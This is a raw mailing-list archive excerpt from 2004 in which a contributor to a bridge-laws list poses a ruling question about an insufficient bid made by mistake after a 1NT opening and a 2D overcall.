privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From torsten.astrand@telia.com Wed Mar 31 17:35:21 2004 From: torsten.astrand@telia.com (=?Windows-1252?Q?Torsten_=C5strand?=) Date: Wed, 31 Mar 2004 18:35:21 +0200 Subject: [blml] Insufficient bid Message-ID: <008901c4173e$291a09c0$4d1b42d5@telia.com> This is a multi-part message in MIME format. ------=_NextPart_000_0086_01C4174E.EC814800 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Your partner opens the bidding 1NT 15-17, the opponent to your right = bids 2D, and happily you remember that your bid 3C shows exaktly your = hand xx, xxx, xx, KQxxxx. But you bid by mistake 2C. Your ruling please. Torsten ------=_NextPart_000_0086_01C4174E.EC814800 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Your partner opens the bidding 1NT 15-17, the = opponent to your=20 right bids 2D, and happily you remember that your bid 3C shows exaktly = your hand=20 xx, xxx, xx, KQxxxx. But you bid by mistake 2C.
Your ruling please.
Torsten
 
------=_NextPart_000_0086_01C4174E.EC814800--